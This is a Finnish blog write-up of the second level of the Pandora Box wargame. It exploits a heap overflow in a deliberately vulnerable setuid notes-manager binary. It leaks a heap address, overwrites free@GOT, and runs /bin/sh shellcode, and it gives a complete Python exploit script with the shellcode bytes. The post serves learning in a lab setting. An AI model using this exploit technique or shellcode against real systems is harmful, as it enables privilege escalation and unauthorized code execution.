Pandora Box – Taso 2

Taso1 > Pandora Box – Taso 1

Toisen tason readme:ssa lukee seuraavasti

Start this level with socat ‘socat TCP4-listen:53121,reuseaddr,fork EXEC:./level2’ and use netcat or whatever to communicate with it.

Joten ajetaan komento ja nyt portista 53121 löytyy “Notes manager – 1.0”. Ohjelmalla pystyy luomaan/muokkaamaan/poistamaan 10 kpl muistiinpanoja.

$ nc 192.168.1.104 53121
[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): ASD
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: ASD
> del
> id: 0
[*] Note 0 deleted
> 

Tutkitaan aluksi hiukan level2 tiedostoa.

level1@pb0x:~$ ls -l level2
-rwsr-xr-x 1 level2 level1 9052 Jan  4 08:58 level2

level1@pb0x:~$ file level2
level2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x6dc7e1ac89e9ffa9f40010d2823f76b6221e6448, not stripped

Tiedoston omistaja on level2 ja kyseessä on dynaamisesti linkitetty binääri. Eli löytämällä tästä softasta jonkinlainen haavoittuvuus, joka mahdollistaisi oman koodin ajamisen, niin saisimme level2:sen oikeuksilla komentorivin auki. Koitetaampa saada softa kaatumaan. Hyvänä lähtökohtana näyttäisi olevan tekstin tallennus. Koska sille sanotaan maksipituudeksi 32.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[*] Note 0 set
> 

Nyt jos koitamme näyttää note 1:sen, niin saamme aikaan segmentation faultin.

Nähtävästi tulimme ylikirjoittaneen muistiinpanon tekstiin viittaavan pointterin. Huomataan myös, että osoitin sijaitsee 76 tavun päässä tekstin aloituskohdasta. Avataanpa binääri disassemblerissa ja koetetaan ottaa selvää, mitä siellä oikein tapahtuu. Ensiksi olisi hyvä selvittää miten muistiinpanot on oikein tallennettu. Tähän antaa vastauksen ceate_struct metodi, jonka toteutus näyttää seuraavalta.

Muistiinpanot varataan dynaamisesti ja toinen jännyys on mprotect kutsu, jolla muutetaan muistin ajo- ja muokkausoikeuksia. Tämä käännettynä C:lle näyttäisi jotakuinkin seuraavalta.

typedef struct {
    int len;
    char* text;
} Note;

Note *create_struct()
{
    Note *note = malloc(8);
    note->len = 64;
    note->text = malloc(64);
    mprotect(note->text & 0xfffff000, note->len, PROT_READ |
                                                 PROT_WRITE |
                                                 PROT_EXEC
             );
    return note;
}

Note struktuuri pitää sisällään tekstin pituuden ja osoittimen itse tekstiin. Itse tekstille varataan 64 tavua muistia. Varatulle muistille asetetaan vielä suoritusoikeudet. Tämäpä ystävällistä.

Jos vielä tutkimme osuutta, missä muistiinpanoon asetetaan syötetty teksti, niin löydämme syyn kaatumiselle. Assemblyn näyttäminen tässä on turhaa, mutta C:nä se näyttäisi jotakuinkin tältä.

else if ( !strcmp(&text, "set") )
{
  readline(&text, 128, "> id: ", 10);
  slotNum = strtol(&text, 0, 10);
  if ( slot_exists(notes, slotNum) == 1 )
  {
    readline(&text, 128, "> text(32 max): ", 0);
    Note *note = notes[slotNum];
    note->len = strlen(&text);
    memcpy(note->text, &text, note->len);

    printf("[*] Note %d set\n", slotNum);
  }
  else
  {
    printf("[!] Note id %d doesnt exist\n", slotNum);
  }
}

Readline lukee 128 maksimissaan tavua ja tämä sitten kopioidaan muistiinpanon tekstiksi. Eli pystymme kirjoittamaan 64 tavua tekstille varatun muistialueen yli. Kun muistiinpanot luodaan perätysten, niin ne myös sijoittuvat muistiin toistensa perään.

Mutta miksi offset oli sitten 76, jos kerran 64 tavun tekstiosuuden jälkeen tulee yksi 4 tavun kokonaisluku ja sen jälkeen jo osoitin seuraavaan tekstiin. Tällöinhän offsetin pitäisi olla 68. Seuraava kuva koittaa havainnollistaa tätä.

Tässä pitää tietää kuinka malloc varaa muistia. Varatun alueen alussa on aina niin kutsuttu malloc chunk, joka on tässä tapauksessa kooltaan 8 tavua. Joten oikeasti tilanne on seuraava ja 76 offset selittyy täysin järkevästi.
Blank Flowchart - New Page-3

 

Nyt meillä on selvillä muistirakenne ja se, että pystymme ajamaan omaa koodia tältä alueelta. Emme kuitenkaan pysty vielä mitenkään hyppäämään tähän omaan koodiin. Meillä ei ole edes tiedossa missä osoitteessa syöttämämme haitallinen koodipätkä on. Sillä ASLR sijoittaa jokaisella suorituskerralla ohjelman eri osiot eri kohtiin muistiavaruutta.

Pystymme kuitenkin selvittämään, missä osoitteessa tekstialue sijaitsee. Sillä jos kirjoitamme tasan 76 tavun tekstin muistiinpanoon, niin tekstin tulostusvaiheessa myös seuraavan tekstin osoittimen arvo tulee mukaan, sillä seuraava 0-tavu tulee vasta tämän jälkeen.

[*] Notes manager - 1.0
[*] Type help for the command list
> new
[*] New note created with id 0
> new
[*] New note created with id 1
> set
> id: 0
> text(32 max): AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
[*] Note 0 set
> show
> id: 0
[*] Note 0 text: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAep??	
>  

Kuten näkyy, niin tekstin perään tulostuu myös ‘roskaa’, joka tässä tapauksessa on note 1:sen tekstin muistiosoite. Nyt kun tiedossa on muistiinpanojen tarkka rakenne ja tämä osoite, niin pystymme helposti laskemaan mikä tahansa kohta muistiinpanoille varatulta alueelta.

Edelleenkään emme pysty hyppäämään  tuonne alueelle, että voisimme suorittaa omaa koodia. Koska ohjelma on dynaamisesti linkitetty, niin se sisältää niin kutsutun Global offset Table (GOT)  osion, missä pidetään kirjaa linkitettyjen kirjastojen funktioiden oikeista osoitteista. Tähän osioon pitää kuitenkin olla kirjoitusoikeudet, joka tarkoittaa myös sitä, että voimme ylikirjoittaa sieltä vaikka esim. printf tai free metodin osoitteen. Näin ollen seuraavan kerran, kun tätä metodia kutsutaan, niiin siirtyy ohjelman suoritus meidän haluamaamme sijaintiin. Aiheesta lisää mm. täältä.

Ensiksi pitää selvittää missä kohtaa GOT sijaitsee. Tämä onnistuu helpoitin objdump:lla.

level1@pb0x:~$ objdump --dynamic-reloc level2 |grep free
0x0804a378 R_386_JUMP_SLOT   free

Joten free metodin oikea osoite löytyy paikasta 0x0804a378. Tämän voimme ylikirjoittaa, kun ensiksi ylikirjoitamme muistiinpanon tekstiin osoittavan osoittimen arvon ja sitten kirjoitamme tähän “muistiinpanoon”.

Nyt meillä alkaa olemaan kaikki palaset kohdallaan exploittaamista varten.

  1. Selvitetään muistialue, missä muistiinpanot sijaitsevat
  2. Ylikirjoitetaan note 1 osoittamaan osoitteeseen free@GOT
  3. Ylikirjoitetaan free metodin sijainti osoittamaan note 0:llaan.
  4. Kirjoitetaan note 0:naan shellcode
  5. Poistetaan note 0, jolloin siirymme suorittamaan kyseisen shellcoden
  6. PROFIT!

Teoriasta käytäntöön. Ensiksi alustellaan yhteydet ja tehdään elämää helpottava apumetodi softalle juttelua varten.

import socket
import struct

IP="192.168.1.104"
PORT=53121

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))

def run(data, result=None):
    if data:
        s.send(data+"\n")

    while result and not result in s.recv(1024):
        pass

print("[*] Init")
run(None, "> ")

print("[*] Creating two notes")
run("new", "> ")
run("new", "> ")

Selvitetään note 0:llan osoite. Osoite löytyy kun tullaan note 1:sen osoittimesta 88 askelta taaksepäin. -chunk (8)  – *text(4) – len(4) –  chunk (8) – text(64) = -88.

def resolve_address():
    data = s.recv(1024)
    return struct.unpack("I", data[93:97])[0] - 88

print("[*] Leaking heap location")
payload = "A"*76

run("set", "> id: ")
run("0", "> text(32 max): ")
run(payload, "> ")

run("show", "> id: ")
run("0")

address = resolve_address()
print("[*] Address founded: %s" % hex(address))

Nyt kirjoitamme free metodin osoittamaan note 0:llaan.

print("[*] Overwrite free@GOT")
payload = "A"*76 + struct.pack("<I", 0x0804a378)
location = struct.pack("<I", address)

run("set", "> id: ")
run("0", "> text(32 max): ")
run(payload, "> ")
run("set", "> id: ")
run("1", "> text(32 max): ")
run(location, "> ")

Lopuksi vielä valmis shellcode paikalleen ja boom. Tämä käytännössä suorittaa execve:n parametrilla /bin/sh. Boom.

print("[*] Write shellcode")
shellcode = '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'

run("set", "> id: ")
run("0", "> text(32 max): ")
run(shellcode, "> ")

run("del", "> id: ")
run("0")

run("echo [*] 0wn3d!")

while True:
    print(s.recv(2048))
    d = raw_input("$ ")
    s.send(d+"\n")

Koko roska löytyy jälleen kerran GitHub:sta.

$ python leak_heap.py 
[*] Init
[*] Creating two notes
[*] Leaking heap location
[*] Address founded: 0x83f4018
[*] Overwrite free@GOT
[*] Write shellcode
[*] 0wn3d!

$ whoami
level2

$ 
This entry was posted in Jotain aivan muuta and tagged , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *